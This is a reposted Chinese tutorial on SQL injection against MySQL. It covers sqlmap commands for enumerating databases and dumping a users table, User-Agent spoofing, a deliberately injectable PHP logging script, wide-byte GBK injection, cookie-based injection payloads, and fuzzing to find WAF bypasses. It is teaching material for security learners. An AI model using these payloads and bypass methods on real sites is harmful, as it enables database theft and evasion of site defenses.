分享

深入浅出玩转SQL注入(含过狗下篇)

 jzpeter 2017-02-21

一、前言

这几天在教同学web安全,其中就包括了sql注入。
原本我觉得很简单的东西,到了他们眼里,变得很复杂。
这也引发我的思考,是不是应该站在小白的角度,去解释这个东西。
所以写这个帖子,很长,有目录,大家可以根据需求选择的看

本文原创作者:sucppVK,本文属i春秋原创奖励计划
(ps:不少童鞋对sql注入一知半解,自以为掌握了,就不屑于去学习,这是很可怕的)
(ps:本教程基于mysql)
---------------------目录-------------------------------------

  (上篇)

  • 数据库操作与注入逻辑(不玩数据库很难吃透sql注入)

  • SQL注入漏洞产生原因(彻底理解这个洞)

  • 显注与盲注(怎么去玩这个洞)

    (下篇)

  • 简单使用sqlmap进行注入

  • 用sqlmap来学习注入

  • 高级注入技巧(攻防演变)

  • 绕过WAF注入(干掉烦人的某狗)

---------------------------------------------------------------


二、正文

(接上篇)

-----------0x04.简单使用sqlmap进行漏洞利用---------------------------------------------------
sqlmap是一个很强大的sql注入工具
他是开源的,大家可以去看源代码

简单教程:
我的个人习惯,在sqlmap目录下,创建一个bat文件
里面写cmd
然后打开它:

假如,我找到了目标站点:
http://127.0.0.1/vkweb/exam/mysql/text.php?id=1
我会先手工简单测试存不存在sql注入漏洞
id=1' and '1
id=1' and '0
发现前者有回显,后者没有
因此我断定,这个地方,把我的输入当做代码去执行了
存在sql注入漏洞

然后就可以扔工具里跑了:
sqlmap.py -u'http://127.0.0.1/vkweb/exam/mysql/text.php?id=1'

sqlmap发现了注入点
下一步输入:
sqlmap.py -u'http://127.0.0.1/vkweb/exam/mysql/text.php?id=1' --dbs
查找有什么数据库:

接着,我想查test这个数据库里,有什么数据表:
sqlmap.py -u'http://127.0.0.1/vkweb/exam/mysql/text.php?id=1' -D test --table

最后就是邪恶的查表信息了,也就是所谓的脱裤:
这里,users看起来比较诱人,肯定查这个:
sqlmap.py -u'http://127.0.0.1/vkweb/exam/mysql/text.php?id=1' -D test -T users --dump

sqlmap有时候会问你一些选择,看不懂英文就去死吧

sqlmap很强大,命令很多
比如,有时候目标网站会检查访问的ua,
sqlmap等的渗透测试工具是有自己的ua的

User-Agent: sqlmap/1.0-dev (http://)
这时候,人家能让你访问吗?
所以就会超时,红一大片,
这时候sqlmap提供--user-agent,--random-agent参数,修改ua
sqlmap.py -u'http://127.0.0.1/vkweb/exam/mysql/text.php?id=1' --user-agent='i am good man'

User-Agent: i am good man
--random-agent参数,是随机给你伪装一个合法浏览器ua

功能很强大,这里就不一一介绍。
感兴趣的可以去谷歌查一查。


-----------0x05.用sqlmap来学习sql注入---------------------------------------------------
我们是站在巨人的肩膀上的
sqlmap上集成了很多数据库管理系统的注入方法,姿势很多
用它来学习是再好不过的了。
两种办法:
1.用burpsuite,sqlmap那边加上参数--proxy='127.0.0.1:8080',这样所有请求都会经过burpsuite
2.VK的独门收集法(真的是我自己想出来的,也许有大牛早就想到了)
这个有局限性,必须自己搭环境:



<?php         header('content-type:text/html;charset=UTF-8');         $id = $_GET['id'];         $conn = mysql_connect('127.0.0.1','guest','123') or die('could not connect:'.mysql_error());         mysql_select_db('test',$conn) or die('can not use:'.mysql_error());         $sql = 'select * from users where id='{$id}'';         $cun = mysql_query($sql) or die(mysql_error());         echo ' ';         while($row = mysql_fetch_array($cun)){         echo 'user:'.$row['user'].' ';         echo 'gold:'.$row['gold'].' ';         echo '[object Object]';         };         if ($param = $_SERVER['QUERY_STRING']){                 $op = fopen('1.txt','a ');                 fwrite($op, urldecode($param).'\r\n');                 fclose($op);         }         mysql_close($conn);         echo '您当前执行的SQL语句:';         echo urldecode($sql); ?>

注意这里的:
if ($param = $_SERVER['QUERY_STRING']){
$op = fopen('1.txt','a ');
                fwrite($op, urldecode($param).'\r\n');
                fclose($op);
        }
他会把所有的参数记录下来,保存到脚本目录的1.txt下
sqlmap中输入:
sqlmap.py -u'http://127.0.0.1/vkweb/exam/mysql/text.php?id=1' --purge-output
--purge-output  指令意思是,清除之前的探测历史记录,从新来过
因为我刚才已经跑过这个站了
如果不清楚历史记录,他不会再一次进行注入探测

清清楚楚,是不是很爽


-----------0x06.高级注入技巧---------------------------------------------------
宽字节注入:
PHP 5.3.0 之前默认开启魔术引号
所有的用户输入会自动加上函数addslashes()
输入中的 '(单引号),'(双引号),\(反斜线)和   NULL 字符都会被自动加上一个反斜线进行转义
例如:

你想输入单引号闭合前面
很可惜,被反斜线杀掉了。。
导致你的输入始终被单引号包裹,没有逃出去当做代码去执行

这样就没有漏洞了吗?
如果数据库采用的是gbk字符,那就存在缺陷
GBK 亦采用双字节表示,总体编码范围为 8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间
英文字母用一个字节表示绰绰有余,
但是咱们中华文化上下五千年,一个字节没办法表示
于是就用gbk,两个字节来表示
这样会有什么危害?

http://pubimage.360doc.com/wz/default.gif

http://pubimage.360doc.com/wz/default.gif


中转注入(从cookie注入)
这个先讲asp的
之前我就和某论坛的老大讨论过。
他非要说,asp中转注入,是把人家的站点弄到本地,人家那边有过滤,你弄到本地就没过滤了。。。
无语。。。。。

asp中转注入,其实就是cookie中注入。
php中,用超全局变量$_GET,$_POST来接受参数
asp中,用Request.QueryString (GET) 或 Request.Form (POST)!来接收

有些程序员比较懒,直接这么写
ID=Request('ID')
这时候asp并不知道,从get  还是post上接收参数
它就会一个一个去试!
它是先取GET中的数据,没有再取POST中的数据,还会去取Cookies中的数据

程序员还会自己写waf,可是他的waf是检测get和post的数据
但是缺漏了cookie

因此,我们只需要把数据放在cookie里,就可以绕过waf的检测
而且服务器也可以正常接收!

这就是中转注入的真正原理。
举个栗子:
www.foo.com/news.php?id=1
存在注入漏洞
可是人家有自己的waf,
输入:id=1'
他就提示,请不要尝试攻击

测试漏洞:
地址栏输入www.foo.com/news.php
回车
网页本该有文章的地方空了,因为没有参数
清空地址栏
输入:
[removed]alert([removed]='id=' escape(' 1 and 1=1--'));
这时候,你可以用firebug看看自己的cookie
多了个id=1 and 1=1--

(图片只是表达cookie会多出这个值,并不是攻击站点)
[removed]是伪协议,告诉浏览器后面的代码当做js去解析
[removed]是取cookie这个对象
让他='id=' escape(' 1 and 1=1--')

因此,把数据放在了cookie中,
asp在get和post中找不到数据,就回去cookie中去找
然后就导致注入!

------------------------------小结-----------------------------------------
道理很简单,我已经把铁和锤子给你了
能打造出什么样的武器,就看你自己
sql注入产生的前提是要和数据库交互

中转注入只不过是,cookie接受参数,没过滤,然后和数据库交互,而导致的漏洞罢了
php中也是一样,如果他的cookie和数据库交互,并且过滤不严谨,一样会导致漏洞


---------------0x07.绕过WAF注入---------------------------------------------------
现在的waf很多
某狗,某盾,云某。。。
过狗一句话在各大论坛经常出现

但是过狗注入却很少更新
这一直是个敏感的话题
毕竟sql注入是个高威胁的漏洞
小公司没精力去弄安全,只好弄个waf来保护网站
一旦waf被绕过,公司的数据就完全暴露在黑客面前。。。。

这里我先说两点:

  • 我肯定不会把直接过狗的方法说出来,但我会说怎么去找这个方法

  • 狗很好过,很弱!

为什么说狗很弱,这边指的是什么规则都没改过的狗
因为人家搞安全产品的要考虑面向客户,如果他的过滤规则太严格,那么很可能连正常的访问网页都会被拦截
如此一来,谁还用你的安全产品

还是用到这个脚本:

<?php         header('content-type:text/html;charset=UTF-8');         $id = $_GET['id'];         $conn = mysql_connect('127.0.0.1','guest','123') or die('could not connect:'.mysql_error());         mysql_select_db('test',$conn) or die('can not use:'.mysql_error());         $sql = 'select * from users where id='{$id}'';         $cun = mysql_query($sql) or die(mysql_error());         echo ' ';         while($row = mysql_fetch_array($cun)){         echo 'user:'.$row['user'].' ';         echo 'gold:'.$row['gold'].' ';         echo '[object Object]';         };         if ($param = $_SERVER['QUERY_STRING']){                 $op = fopen('1.txt','a ');                 fwrite($op, $param.'\r\n');                 fclose($op);         }         mysql_close($conn);         echo '您当前执行的SQL语句:';         echo urldecode($sql); ?>

记得这个是干什么的吗?
他会把所有的请求,记录在同目录的1.txt里
这时候你去fuzz,用大量的payload去测试
看看1.txt里面有什么
就知道狗的弱点了
本人用这个方法找出好几种过狗姿势了
三、结束语
本人建议:学sql注入,最好还是去玩数据库吧

(完结)

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多